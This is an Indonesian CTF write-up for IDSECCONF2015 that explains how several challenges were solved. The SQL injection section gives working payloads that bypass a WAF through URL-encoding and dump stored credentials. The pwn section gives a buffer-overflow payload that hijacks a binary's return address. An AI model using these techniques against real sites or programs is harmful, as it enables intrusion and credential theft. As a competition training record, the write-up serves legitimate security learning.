Write up idsecconf2015 online ctf

28
Miscellaneous Gem 50 Points Diberikah sebuah file gem.pyc yang merupakan python bytecompiled. Ketika dicoba dijalankan, program tidak mencetak apapun dan langsung keluar. Dengan menggunakan uncompyle2 (https://github.com/Mysterie/uncompyle2 ), kita akan mendapatkan python script berikut ini dari gem.pyc : import base64 from Crypto.Cipher import AES class FLAG(object): def encryption(self, privateInfo): BLOCK_SIZE = 16 PADDING = '|' pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) key = 'YouwontWantTohaveAKeyLikethisBoy' print 'key:', key cipher = AES.new(key) encoded = EncodeAES(cipher, privateInfo) print 'Encrypted string:', encoded def decryption(self, encryptedString): PADDING = '|' DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) encryption = encryptedString key = 'YouwontWantTohaveAKeyLikethisBoy' cipher = AES.new(key) decoded = DecodeAES(cipher, encryption) print decoded def show(): encrypt = 'CHhDMX7cVKNkzRmKQ8GMzyJDkfeijAoa7Lz/ADo13k/jq+e5mK6uNcLSMLGJ8F2Y' flag = FLAG().decryption(encrypt) print flag def key(): key = 'YouwontWantTohaveAKeyLikethisBoy' print 'key is:' + key Terlihat bahwa ada sebuah object FLAG dengan fungsi enkripsi dan dekripsi menggunakan AES. Perhatikan bahwa ada fungsi show() yang berisi pendekripsian suatu string tertentu menggunakan object FLAG tetapi tidak pernah dipanggil. Tambahkan show() di paling akhir script agar fungsi show() dijalankan ketika program berjalan. Simpan script tersebut kemudian jalankan scriptnya untuk mendapatkan flag. Flag : idsecconf2015{PythonIsquiteEasyandLovely} Write Up Online CTF #IDSECCONF2015 farisv

Transcript of Write up idsecconf2015 online ctf

Page 1: Write up idsecconf2015 online ctf

Miscellaneous Gem 50 Points Diberikah sebuah file gem.pyc yang merupakan python byte­compiled. Ketika dicoba dijalankan, program

tidak mencetak apapun dan langsung keluar. Dengan menggunakan uncompyle2

(https://github.com/Mysterie/uncompyle2), kita akan mendapatkan python script berikut ini dari gem.pyc :

import base64 from Crypto.Cipher import AES class FLAG(object): def encryption(self, privateInfo): BLOCK_SIZE = 16 PADDING = '|' pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) key = 'YouwontWantTohaveAKeyLikethisBoy' print 'key:', key cipher = AES.new(key) encoded = EncodeAES(cipher, privateInfo) print 'Encrypted string:', encoded def decryption(self, encryptedString): PADDING = '|' DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) encryption = encryptedString key = 'YouwontWantTohaveAKeyLikethisBoy' cipher = AES.new(key) decoded = DecodeAES(cipher, encryption) print decoded def show(): encrypt = 'CHhDMX7cVKNkzRmKQ8GMzyJDkfeijAoa7Lz/ADo13k/jq+e5mK6uNcLSMLGJ8F2Y' flag = FLAG().decryption(encrypt) print flag def key(): key = 'YouwontWantTohaveAKeyLikethisBoy' print 'key is:' + key Terlihat bahwa ada sebuah object FLAG dengan fungsi enkripsi dan dekripsi menggunakan AES.

Perhatikan bahwa ada fungsi show() yang berisi pendekripsian suatu string tertentu menggunakan object

FLAG tetapi tidak pernah dipanggil. Tambahkan show() di paling akhir script agar fungsi show() dijalankan

ketika program berjalan. Simpan script tersebut kemudian jalankan script­nya untuk mendapatkan flag.

Flag : idsecconf2015PythonIsquiteEasyandLovely

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 2: Write up idsecconf2015 online ctf

IMFTest 250 Points Pada challenge ini kita diharuskan untuk melakukan koneksi TCP ke 128.199.218.190 pada port 17845.

$ nc 128.199.218.190 17845 .­./) ,­­­. ,­­­. ________ \ .­.')| \ / || | / ­' \| , \/ , || .­­­­' ­' "| |\_ /| || _|____ .­­­. | _( )_/ | ||_( )_ | | | | (_ o _) | |(_ o._)__| | | | (_,_) | ||(_,_) | | | | | || | '­­­' '­­' '­­''­­­'

********** Selamat Datang Di

IMPOSSIBLE MISSION FORCE ­ Testing Center Sektor Mampang Prapatan **********

Calon Agen Harus Menyelesaikan Perhitungan Berikut: Selesaikan Dalam Waktu 10.00 Detik Perhitungan Ini: ­72 * Isi dari service ini adalah rentetan soal matematika yang harus diselesaikan dengan sangat cepat, bahkan

salah satu soalnya adalah kita harus menghitung fungsi turunan dalam waktu 0.585277 detik. Karena

mengerjakan semuanya dengan cepat tidak feasible maka kita harus membuat program yang akan

melakukan koneksi ke service, melakukan parsing terhadap soal­soal yang diberikan, selesaikan soalnya,

dan kirim jawabannya ke service.

Ada tiga bagian dari pertanyaan yang diberikan, yaitu perkalian, sistem persamaan linear dua variabel, dan

fungsi turunan. Saya menggunakan python karena mudah untuk melakukan socket programming. Adapun

saya tidak memakai library matematika tambahan apapun karena sesungguhnya perhitungan yang

diperlukan cukup sederhana.

Berikut adalah script yang saya gunakan untuk menyelesaikan challenge ini.

import socket def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('128.199.218.190', 17845)) return s def spl_solve(first_equation, second_equation): y1 = int(first_equation[2][0:-1]) y2 = int(second_equation[2][0:-1]) x1 = int(first_equation[0][0:-1]) x2 = int(second_equation[0][0:-1])

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 3: Write up idsecconf2015 online ctf

c1 = int(first_equation[4]) c2 = int(second_equation[4]) temp = y1 x1 = x1*y2 y1 = y1*y2 c1 = c1*y2 x2 = x2*temp y2 = temp*y2 c2 = c2*temp diff_x = x1 - x2 diff_c = c1 - c2 answer_x = diff_c / diff_x print answer_x s.send(str(answer_x)) data = s.recv(1024) print data x1 = int(first_equation[0][0:-1]) y1 = int(first_equation[2][0:-1]) c1 = int(first_equation[4]) x_value = x1*answer_x c1 = c1 - x_value answer_y = c1 / y1 print answer_y s.send(str(answer_y)) def turunan(value, x): if ("x" not in value): return 0 if ("" not in value): return 1 splitted = value.split("") val_x = splitted[0] power = int(splitted[1]) val_x_splitted = val_x.split("x") final_x = eval(str(x) + "**" + str(power -1)) result = int(val_x_splitted[0]) * power * final_x return result def turunan_solve(fx): answer = 0 for i in range(2,len(fx)): value = fx[i] if (fx != "+"): answer += turunan(value, x) print answer s.send(str(answer)) s = connect() question_spl = False question_turunan = False finish = False while not finish: data = s.recv(1024) print data if "Perhitungan Ini" in data: answer = str(eval(data[51:])) print answer s.send(answer)

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 4: Write up idsecconf2015 online ctf

if "sistem persamaan" in data: if (question_spl): data = s.recv(1024) print data line = data.split("\n") first_equation = line[0].split(" ") second_equation = line[1].split(" ") else: line = data.split("\n") first_equation = line[1].split(" ") second_equation = line[2].split(" ") question_spl = True spl_solve(first_equation, second_equation) if "turunan" in data: line = data.split("\n") x = int(line[0][76:-1]) if (question_turunan): data = s.recv(1024) print data line = data.split("\n") fx = line[0].split(" ") else: fx = line[1].split(" ") question_turunan = True turunan_solve(fx) if ("flag" in data): finish = True

Jalankan script­nya untuk menyelesaikan semua soal yang diberikan sehingga kita mendapatkan flag.

Flag : saatny4_meregangk4n_jari_anda_merdeka

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 5: Write up idsecconf2015 online ctf

Web Hacking theNOCweb 150 Points

Satu­satunya web hacking challenge pada CTF ini adalah sebuah situs yang mempunyai

beberapa halaman berita dan layanan untuk melakukan ping ke alamat tertentu.

Pencarian celah sql injection flaw dapat dilakukan dengan mudah dengan menambahkan single quote/'

pada parameter id di view.php.

http://128.199.188.104/idsecconfweb/view.php?id=1'

Could not get data: You have an error in your SQL syntax; check the manual that corresponds to

your MySQL server version for the right syntax to use near ''1''' at line 1

Setelah mencoba melakukan beberapa kali injection, dapat diperkirakan bahwa SQL query yang berjalan

adalah select * from table where id='$id' sehingga injection yang harus kita masukkan di id adalah '

[injection_query] ­­ a

Perhatikan bahwa setelah ­­ sebaiknya ada spasi dan karakter sembarang agar nantinya ­­ tidak langsung

menempel dengan ' sehingga tidak terjadi syntax error. Selanjutnya akan dilakukan query order by untuk

mengetahui jumlah kolom dari tabel yang sedang di­select. Akan didapat bahwa jumlah kolom adalah 3

karena ketika order by 4 akan keluar pesan error.

http://128.199.188.104/idsecconfweb/view.php?id=' order by 3 -- a (normal)

http://128.199.188.104/idsecconfweb/view.php?id=' order by 4 -- a (Unknown column '4' in

'order clause)

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 6: Write up idsecconf2015 online ctf

Masalah terjadi ketika kita ingin meng­union hasil select dengan 1,2,3. Akan tampil halaman seperti berikut.

Rupanya web menggunakan WAF (Web Application Firewall) untuk mencegah serangan sql injection. Dari

hasil coba­coba, diperkirakan bahwa sebenarnya halaman WAF ini adalah halaman 404 karena jika kita

mengetikkan direktori sembarang akan keluar tampilan yang sama. Kemungkinan file .htaccess yang ada

dikonfigurasi agar web menuju halaman 404 apabila url request mengandung string terlarang (case

insensitive). Hal ini membuat injection query yang mengandung string union, select, UnIOn, UNION, dan

lain sebagainya menjadi tidak bekerja.

Dengan memahami bagaimana WAF ini bekerja (menggunakan string matching) maka trik yang bisa dicoba

adalah dengan meng­encode string yang terlarang menggunakan Percent­encoding / URL encoding. Hal ini

dilakukan agar url request tidak mengandung string yang terlarang namun tetap legitimate.

Selanjutnya akan dicoba untuk melakukan injection dengan meng­encode union select terlebih dahulu

menjadi %75%6e%69%6f%6e%20%73%65%6c%65%63%74.

http://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74 1,2,3

-- a

Dan hasilnya adalah :

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 7: Write up idsecconf2015 online ctf

Ternyata berhasil! Selanjutnya akan dilakukan sql injection seperti biasa dengan mengganti salah satu

angka yang terlihat menjadi informasi­informasi yang kita butuhkan.

http://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74

1,@@version,3 -- a

MySQL version : 5.5.44-0ubuntu0.14.04.1

http://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74

1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- a

table name : admin,berita,user

ttp://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74

1,group_concat(column_name),3 from information_schema.columns where table_name=0x75736572 -- a

column name from user : id,username,password

http://128.199.188.104/idsecconfweb/view.php?id=' %75%6e%69%6f%6e%20%73%65%6c%65%63%74

1,concat_ws(0x3a,id,username,password),3 from user – a

1:admin:qwerty123 2:john:123456 3:flag:injek_teruss_sampe_mampus

Flag : injek_teruss_sampe_mampus

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 8: Write up idsecconf2015 online ctf

Reverse Engineering fake 50 Points Diberikah sebuah file binary ELF 32­bit. Jalankan file tersebut dan jika komputer tersambung dengan

koneksi Internet maka akan keluar tulisan + Sukses! Komputer Anda Telah Terproteksi sementara

jika tidak tersambung maka yang keluar adalah - host tidak ditemukan. Kemungkinan program ini

akan mencoba untuk melakukan koneksi ke host tertentu. Kita dapat menggunakan wireshark untuk melihat

ada koneksi ke mana saja ketika program ini berjalan. Namun, kita juga dapat melihat isi binary tersebut

dengan strings.

$ strings easy …………. …………. 3456 7890 irc. free node .net :666f botn etctf merd <:t$ [_] [_] ………….

Terlihat ada alamat irc.freenode.net. Kemungkinan hasil strings ini tidak lengkap. Kita bisa coba untuk

membuka binary dengan text editor atau hex editor untuk melihat ada karakter apa yang tidak muncul di

sekitar tulisan itu. Saya menggunakan hexedit dan menemukan potongan seperti ini :

000015F0 00 00 C7 84 24 36 02 00 00 69 72 63 2E C7 84 24 ....$6...irc...$ 00001600 3A 02 00 00 66 72 65 65 C7 84 24 3E 02 00 00 6E :...free..$>...n 00001610 6F 64 65 C7 84 24 42 02 00 00 2E 6E 65 74 C7 84 ode..$B....net.. 00001620 24 46 02 00 00 3A 36 36 36 66 C7 84 24 4A 02 00 $F...:666f..$J.. 00001630 00 37 00 C7 84 24 2C 02 00 00 62 6F 74 6E C7 84 .7...$,...botn.. 00001640 24 30 02 00 00 65 74 63 74 66 C7 84 24 34 02 00 $0...etctf..$4.. 00001650 00 66 00 C7 84 24 24 02 00 00 6D 65 72 64 C7 84 .f...$$...merd.. 00001660 24 28 02 00 00 65 6B 61 00 C7 44 24 04 3D 9B 04 $(...eka..D$.=.. Connect ke server IRC dengan host irc.freenode.net:6667 kemudian masuk ke channel #botnetctf dengan password merdeka untuk mendapatkan flag.

Flag : b0tnet_n3v3r_di3_they_simply_f4de_4way

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 9: Write up idsecconf2015 online ctf

debugme 100 Points Diberikah sebuah layanan di alamat 128.199.218.190 port 15178.

$ nc 128.199.218.190 15178 Can u debug me, bro. Hmmm, since you're here... Who m i?

Program untuk layanan tersebut juga diberikan, yaitu sebuah file binary 64­bit. Jika dijalankan maka

program tersebut akan membuka port 15178 di komputer kita dan menjalankan layanan yang sama.

Program ini akan meminta sebuah masukan dan jika tidak sesuai maka akan keluar pesan Zzzzz...

NO....no..no.

Saya menggunakan IDA untuk mempelajari binary ini. Berikut adalah potongan IDA­View dari fungsi main.

Terlihat bahwa program akan memanggil fungsi anti_debug dan ctfserver. Program juga akan menjalankan

handler. Jika dilihat­lihat, fungsi anti_debug akan mencegah user untuk melakukan LD_PRELOAD dan

mengatur breakpoint. Fungsi ctfserver adalah membuka layanan TCP di port 15178 sementara yang

mencetak tulisan, membaca masukan, dan mengecek tulisan adalah handler. Berikut adalah salah satu

potongan dari IDA­View handler.

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 10: Write up idsecconf2015 online ctf

Dapat diperkirakan bahwa fungsi memanggil _strstr terhadap needle yang berada di register $rsi ([rbp­420h]

dan haystack yang berada di register $rdi ([rbp­410h]). Cara kerja _strstr adalah mengecek apabila string

needle merupakan substring dari string haystack. Di sini string haystack adalah input dari user. Apabila ada,

program akan mengeluarkan “Nice…” dan memanggil fungsi send_flag.

Pada disassembly fungsi send_flag, program akan membuka dan mencetak isi flag.txt sehingga kita harus

mengirimkan string yang mengandung needle ke layanan yang ada di server. Untuk itu tugas kita adalah

mengetahui string dari needle. Sayangnya anti_debug yang ada mencegah kita melakukan breakpoint di

address 0x4014FF (address ketika melakukan call _strstr, lihat di IDA­nya) agar bisa melihat isi dari register

$rsi. Kita bisa melakukan patching pada program agar anti_debug tidak dipanggil. Namun, jika cermat kita

akan menemukan potongan assembly yang seperti ini (tidak dalam baris yang berturut­turut) pada handler :

ptr= qword ptr -420h .. mov [rbp+ptr], rax mov rax, [rbp+ptr] mov byte ptr [rax], 6Ah .. mov rax, [rbp+ptr] add rax, 1 mov byte ptr [rax], 6Fh .. mov rax, [rbp+ptr] add rax, 2 mov byte ptr [rax], 6Bh .. mov rax, [rbp+ptr] lea rdx, [rax+5] mov rax, [rbp+ptr] movzx eax, byte ptr [rax+1] .. mov rax, [rbp+ptr] lea rdx, [rax+4] mov rax, [rbp+ptr] movzx eax, byte ptr [rax+5]

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 11: Write up idsecconf2015 online ctf

.. mov rax, [rbp+ptr] lea rdx, [rax+3] mov rax, [rbp+ptr] movzx eax, byte ptr [rax+4 .. mov rax, [rbp+ptr] add rax, 6 mov byte ptr [rax], 21h

Singkatnya, jika rbp+ptr di­translate menjadi array pada pseudocode maka kira­kira seperti ini :

array[0] = 0x6a array[1] = 0x6f array[2] = 0x6b array[5] = array[1] array[4] = array[5] array[3] = array[4] array[6] = 0x21

Karena 0x6a = j, ox6f = o, 0x6b = k, dan 0x21 = !, maka dapat disimpulan rbp+ptr atau rbp­420h atau needle

adalah ‘jokooo!’. Masukkan string apapun yang mengandung ‘jokooo!’ ke layanan yang ada di server untuk

mendapatkan flag.

$ nc 128.199.218.190 15178 Can u debug me, bro. Hmmm, since you're here... Who m i? jokooo! Nice... flagdirgahayu_RI_70_brooo

Flag : dirgahayu_RI_70_brooo

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 12: Write up idsecconf2015 online ctf

ladies 300 Points Pada challenge ini kita diberikan sebuah ASCII art seorang perempuan. Karena banyak karakter ‘+’, ‘­’, ‘,’,

‘.’, ‘<’, ‘>’, ‘[‘, dan ‘]’ ditambah dengan nama file yang diberikan adalah let_me_be_your_bf maka dapat

diperkirakan bahwa sebenarnya file tersebut mengandung potongan kode Brainf*ck

(https://en.wikipedia.org/wiki/Brainfuck). Bahasa pemrograman ini adalah bahasa minimalis yang cara

kerjanya mirip dengan Turing Machine (https://en.wikipedia.org/wiki/Turing_machine). Hanya dengan 8 buah

operasi, bahasa pemrograman ini dapat melakukan komputasi apapun namun tentunya sangat tidak

practical. Berikut adalah operasi yang dapat dilakukan dan kode C yang ekivalen.

Awal program Inisialisasi char array[infinitely large size] = 0; char *ptr=array;

> Geser pointer ke kanan ++ptr;

< Geser pointer ke kiri --ptr;

+ Increment pointer saat ini ++*ptr;

­ Decrement pointer saat ini --*ptr;

. Cetak isi pointer saat ini putchar(*ptr);

, Baca satu byte dari input dan masukkan ke pointer

*ptr=getchar();

[ Jika isi pointer saat ini bukan 0, lanjutkan. Jika 0, lanjutkan ke setelah pasangan­nya (‘]’)

while (*ptr)

] Jika isi pointer saat ini 0, lanjutkan. Jika bukan 0, balik lagi ke awal ke pasangan­nya (‘[‘)

Kita harus parse ASCII art yang diberikan untuk diambil operasi­operasi yang legit saja. Selain itu karena

saya lebih nyaman membaca bahasa C (walaupun isinya hanya geser­geser pointer :P ), saya juga akan

langsung men­translate­nya dengan syntax seperti di atas. Di sini saya menggunakan bash scripting dan

ukuran array yang ada saya set menjadi 1000.

INPUT=let_me_be_your_bf code+=$'#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n' indent=1 code+=$'\tchar array[1000] = 0;\n\tchar *ptr=array;\n' while IFS= read -r -n1 c do

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 13: Write up idsecconf2015 online ctf

[ "$c" == "." -o "$c" == "," -o "$c" == ">" -o "$c" == "<" -o "$c" == "[" -o "$c" == "]" -o "$c" == "+" -o "$c" == "-" ] && [ "$c" == "]" ] && ((indent--)); for (( i=0; i<$indent; i++)); do code+=$'\t' done [ "$c" == ">" ] && code+=$'++ptr;\n'; [ "$c" == "<" ] && code+=$'--ptr;\n'; [ "$c" == "+" ] && code+=$'++*ptr;\n'; [ "$c" == "-" ] && code+=$'--*ptr;\n'; [ "$c" == "." ] && code+=$'putchar(*ptr);\n'; [ "$c" == "," ] && code+=$'*ptr=getchar();\n'; [ "$c" == "[" ] && code+=$'while (*ptr) \n'; ((indent++)); [ "$c" == "]" ] && code+=$'\n'; done < "$INPUT" code+=$'\treturn 0;\n\n' echo "$code" > "ladies.c" Kode C yang dihasilkan ada sekitar 3600 baris. SIlahkan lihat di http://pastebin.com/cyrWzstw. Selanjutnya

kita bisa coba compile file C yang dihasilkan. Program yang berjalan akan meminta password dan akan

mengeluarkan nope apabila salah.

$ gcc ladies.c -o ladies $ ./ladies Password : aaaaaaaaaaaaaaaaaaaaaaaaaa nope

Dari hasil coba­coba, panjang string masukan minimal harus 16 agar program mengeluarkan pesannya.

Melakukan debugging di program yang dihasilkan cukup sulit karena hasil disassembly­pun adalah

perintah­perintah yang panjang (geser penunjuk memori dan sebagainya) seperti pada program aslinya.

Akhirnya saya memutuskan untuk mempelajari 3600 baris kode yang ada.

Di bagian awal kode, ada 16 buah *ptr=getchar(); yang berarti di bagian kode tersebut, program akan

membaca 16 buah karakter. Berikutnya sepertinya dilakukan pengecekan terhadap ke­16 karakter tersebut

namun kode yang ada sulit dipahami. Yang menarik adalah di bagian bawah ada banyak putchar(*ptr); di

dalam while(*ptr). Saya curiga bahwa kumpulan karakter tersebut adalah pesan yang dikeluarkan apabila

password benar. Maka saya tambahkan ++*ptr sebelum while yang sesuai (baris 3106) agar program

masuk ke iterasi tersebut kemudian saya compile dan jalankan program kembali.

$ gcc ladies.c -o ladies $ ./ladies Password : aaaaaaaaaaaaaaaaaaaaaaaaaaaaa flag was buried behind the wall, have you found it?

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 14: Write up idsecconf2015 online ctf

Ternyata pesan yang keluar bukanlah flag. Saya berarti harus temukan password yang benar apa. Dengan

mencermati kode cukup lama, saya menemukan ada 16 buah putchar(*ptr) yang masing­masing ada di

dalam sebuah iterasi. Dengan cara yang sama dengan sebelumnya, saya tambahkan ++*ptr di setiap

iterasi­nya kemudian saya compile dan jalankan program kembali.

$ gcc ladies.c -o ladies $ ./ladies Password : aaaaaaaaaaaaaaaaaaaaaaaaaaaaa Congratulations! flag was buried behind the wall, have you found it?

Kumpulan karakter yang ada ternyata adalah ‘Congratulations!’. Dari informasi ini dan mempelajari kode

lebih lanjut, sebelum iterasi yang didalamnya mencetak sebuah karakter, ada berbagai macam operasi yang

sepertinya adalah mengecek tiap karakter masukan. Dan untungnya setiap karakter dicek terpisah dan

apabila satu karakter saja sudah benar maka program akan mengeluarkan karakter dari ‘Congratulations!’

sesuai dengan posisi yang benar. Ada dua cara untuk mendapatkan password yang benar, yaitu dengan

mencetak isi array yang ada di posisi yang sesuai atau dengan bruteforce. Saya melakukan keduanya

karena saya ingin mengeksplorasi lebih dalam.

Untuk cara pertama, kita bisa tambahkan kode untuk mencetak isi array yang ada di posisi kode yang

melakukan pengecekan terhadap suatu karakter. Di sini saya hanya mencoba­coba meletakkan kode

menetak isi array sampai mendapatkan informasi yang berguna karena menurut saya hal itu lebih cepat

(buat saya) dibanding memahami alur kodenya.

Agar lebih mudah saya tambahkan fungsi debug() untuk mencetak isi array.

void debug(char array[]) int i; for (i = 0; i < 1000; i++) printf("%c", array[i]); printf("\n");

Kemudian saya cukup tambahkan debug(array); di posisi yang saya inginkan. Setelah mencoba­coba

meletakkan debug(array); di sebelum iterasi pertama yang mengandung putchar(*ptr) mencurigakan, saya

mendapatkan ini.

$ gcc ladies.c -o ladies $ ./ladies Password : aaaaaaaaaaaaaaaaaaaaaaaa r 4aaaaaaaaaaaaaaaa flag was buried behind the wall, have you found it?

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 15: Write up idsecconf2015 online ctf

Kemudian saya pikir karakter pertama dari password­nya adalah 4. Saya pun mencoba untuk memasukkan

16 karakter string yang depannya 4 di program asli (sebelum diubah­ubah kodenya).

$ ./ladies Password : 4aaaaaaaaaaaaaaaa C nope

Karena program mengeluarkan ‘C’ maka berarti benar bahwa program akan mengecek setiap karakter yang

ada kemudian apabila benar, maka akan mencetak karakter dari ‘Congratulations!’ di posisi yang sesuai.

Selanjutnya kita bisa melakukan cara yang sama untuk mengetahui 15 karakter sisanya.

Cara yang lebih cepat dari melihat­lihat isi array adalah dengan melakukan bruteforce satu persatu

karakternya. Contoh, untuk mencari karakter kedua kita bisa gunakan bash script seperti berikut.

for i in 1..255; do pass="4" pass+=$( printf "\\$(printf '%03o' "$i")" ) pass+="aaaaaaaaaaaaaaaaaaaaaaaaa" echo $pass echo $pass | ./ladies; done;

Kemudian jalankan ./script.sh | less untuk melihat yang mana yang membuat program mengeluarkan ‘Co’.

Akan didapat seperti ini di salah satu percobaan bruteforce :

4maaaaaaaaaaaaaaaaaaaaaaaaa Password : Co nope

Hal ini berarti dua karakter pertama pada password adalah ‘4m’. Kemudian inisialisasi pass pada script

dengan ‘4m’ untuk mendapatkan karakter ketiga dan seterusnya. Pada akhirnya akan didapat

password­nya adalah ‘4m4Z1Ng_bR@1nFcK’.

$ ./ladies Password : 4m4Z1Ng_bR@1nFcK Congratulations! flag was buried behind the wall, have you found it?

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 16: Write up idsecconf2015 online ctf

Setelah dicoba di­submit, 4m4Z1Ng_bR@1nFcK bukanlah flag­nya. Kemudian saya curiga apabila program

dimasukkan password yang benar maka isi array dari program akan berisi flag. Kemudian saya ubah

kode­nya lagi untuk mencetak isi array di akhir kode.

$ gcc ladies.c -o ladies $ ./ladies Password : 4m4Z1Ng_bR@1nFcK Congratulations! flag was buried behind the wall, have you found it? FLAGb2ain_fUcK_pHuN

Didapatkanlah flag yang benar untuk challenge ini.

Flag : b2ain_fUcK_pHuN

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 17: Write up idsecconf2015 online ctf

Exploit pwn easy 100 Points File binary ELF 64­bit yang diberikan pada challenge pwn easy adalah file binary sederhana yang

membaca masukan dari user. Disediakan juga layanannya yang berada di 128.199.218.190 port 17045.

$ nc 128.199.218.190 17045 ++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++

Server Akses Masukkan ID Agen: aaaaaaaaaa Akses Ditolak

$ file pwneasy pwneasy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=3447b68248c1cdcc52706500e94f66d29da76cf7, not stripped $ ./checksec.sh --file pwneasy RELRO STACK CANARY NX PIE RPATH RUNPATH Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH

Saya menggunakan cheksec.sh dari http://www.trapkit.de/tools/checksec.html untuk mengecek proteksi

yang ada. Masukkan karakter yang banyak dan lihat bahwa program akan mengalami segmentation fault

karena buffer overflow.

$ cat <(python -c 'print "A"*500') | ./pwneasy ++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++

Server Akses Masukkan ID Agen: Segmentation fault (core dumped)

Untuk lebih memahami binary yang ada, dilakukan decompilation menjadi pseudo C dengan menggunakan

Hopper.

function indonesia system("cat flag.txt"); return; function jalan_keflag rax = read(0x0, var_80, 0x200); return rax; function main write(0x1, "++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++\n\t\tServer Akses\nMasukkan ID Agen: ", 0x5a); jalan_keflag(); rax = puts("Akses Ditolak"); return rax;

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 18: Write up idsecconf2015 online ctf

Terlihat bahwa program akan memanggil fungsi jalan_keflag() dan membaca input dari user. Tidak ada

pengecekan panjang dari input sehingga dapat terjadi buffer overflow apabila panjang input lebih dari buffer

yang disediakan. Ukuran buffer adalah var_80 yang merupakan 0x80 (128 bytes) sehingga batas karakter

yang seharusnya adalah 128 karakter.

Fungsi indonesia() melakukan ‘cat flag.txt’ namun tidak pernah dipanggil sehingga kita harus memanfaatkan

buffer overflow agar fungsi ini terpanggil. Mengapa hal ini bisa terjadi? Sederhananya tiap fungsi pada

binary mempunyai alamat tertentu dan di setiap komputasi program, program bisa menyimpan suatu nilai di

register yang fungsinya bermacam­macam. Bagi yang belum familiar dengan assembly dan

arsitektur/organisasi komputer silahkan untuk mempelajarinya terlebih dahulu. Salah satu register pada

processor 64­bit adalah rdi yang merupakan instruction pointer dan berguna untuk menunjukkan address

yang berisi komputasi yang akan dijalankan. Register ini dapat kita overwrite dengan buffer­overflow.

Kira­kira bentuk stack frame­nya ketika program membaca input seperti ini :

rip (instruction pointer ­ 8 bytes)

rbp (base pointer ­ 8 bytes)

buffer (128 bytes)

Apabila kita memasukkan 142 karakter, 8 karakter terakhir akan masuk menjadi rip. Kita harus manfaatkan

ini agar rip isinya adalah address dari fungsi indonesia(). Tentunya kita harus tau alamat dari fungsi ini

terlebih dahulu.

$ objdump -M intel -d pwneasy | grep indonesia 0000000000400616 <indonesia>:

Alamat dari fungsi indonesia() relatif terhadap program adalah 0x400616. Berarti yang harus kita masukkan

ke program adalah 136 karakter sembarang dan 0x400616. Karena processor memakai little­endian

(https://en.wikipedia.org/wiki/Endianness), masukkan dengan terbalik urutan byte­nya sehingga menjadi

0x166040. Tambahkan juga padding 00 sebanyak 4 kali agar menjadi 8­bytes sesuai ukuran rip.

$ cat <(python -c 'print "A"*136 + "\x16\x06\x40\x00\x00\x00\x00\x00"') | nc 128.199.218.190 17045 ++IMPOSSIBLE MISSIONS FORCE - SEKTOR MAMPANG PRAPATAN++

Server Akses Masukkan ID Agen: flagnah_cob4_anda_ngopi_dulu_sebelum_l4njut_lagi

Flag : nah_cob4_anda_ngopi_dulu_sebelum_l4njut_lagi

Write Up Online CTF #IDSECCONF2015 ­ farisv

Page 19: Write up idsecconf2015 online ctf

pwn medium 250 Points Challenge ini adalah lanjutan dari pwn easy. Kira­kira file binary­nya sama, namun tidak ada fungsi

indonesia() yang akan melakukan ‘cat flag.txt’. Selain diberikan file binary ELF 64­bit­nya, diberikan juga

sebuah file libc.so.6 yang kemungkinan merupakan library C yang dipunya layanan yang disediakan di

128.199.188.104 port 17945.

$ nc 128.199.188.104 17945 0x7fdd8d3ba640 Dicoba Lagi Gan

Pada saat program berjalan maka program akan mengeluarkan suatu address. Alamat ini berbeda­beda

setiap program berjalan. Hasil decompilation menjadi pseudo C menggunakan Hopper menunjukkan bahwa

alamat ini adalah alamat fungsi system() pada libc.so.6 yang digunakan program.

function roproprop rax = read(0x0, var_80, 0x200); return rax; function alamatsys dlsym(dlopen("libc.so.6", 0x1), "system"); printf(0x4008e5); rax = *__TMC_END__; rax = fflush(rax); return rax; function main alamatsys(); write(0x1, "Dicoba Lagi Gan!\n", 0x11); rax = roproprop(); return rax;

Mengapa address yang ditampikan berubah­ubah? Hal ini dikarenakan ASLR (Address Space Layout

Randomization) diaktifkan pada environment server. ASLR berguna agar sistem dapat me­load sebuah

program di lokasi memori yang berbeda ketika tiap program dijalankan. Pada sistem operasi umum

sekarang, ASLR juga biasanya diaktifkan secara default. Silahkan cek di Linux Anda seperti berikut.

$ cat /proc/sys/kernel/randomize_va_space 2

Jika keluar > 0 seperti di atas, maka ASLR aktif di Linux Anda.

